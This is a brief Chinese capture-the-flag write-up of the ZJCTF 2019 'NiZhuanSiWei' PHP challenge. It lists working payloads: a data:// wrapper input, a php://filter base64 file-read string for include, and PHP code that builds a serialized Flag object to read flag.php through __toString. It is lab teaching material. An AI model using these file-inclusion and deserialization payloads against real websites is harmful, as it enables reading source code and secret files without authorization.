[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
Pure_White_Sword9 小时前
bugku-reverse题目-NoString
网络安全·ctf·reverse·逆向工程
枷锁—sha12 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 051】详解:C++字符串替换引发的血案与 Ret2Text
开发语言·网络·c++·笔记·安全·网络安全
菩提小狗13 小时前
第18天:信息打点-APP资产&知识产权&应用监控&静态提取&动态抓包&动态调试_笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·web安全
林姜泽樾14 小时前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
Mikowoo00715 小时前
Kali系统_安装靶机
网络安全
苏天夏17 小时前
让 Typecho 拥抱 WebAuthn 无密码时代
安全·网络安全·php·开源软件
小红卒18 小时前
Redis数据库四种getshell方法研究
数据库·redis·网络安全
Rhystt18 小时前
furryCTF 题解|Web方向|保姆级详解|固若金汤、DeepSleep
git·python·安全·web安全·网络安全
m0_7381207219 小时前
渗透测试——Momentum靶机渗透提取详细教程(XSS漏洞解密Cookie,SS获取信息,Redis服务利用)
前端·redis·安全·web安全·ssh·php·xss
一名优秀的码农19 小时前
symfonos系列-symfonos6v2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析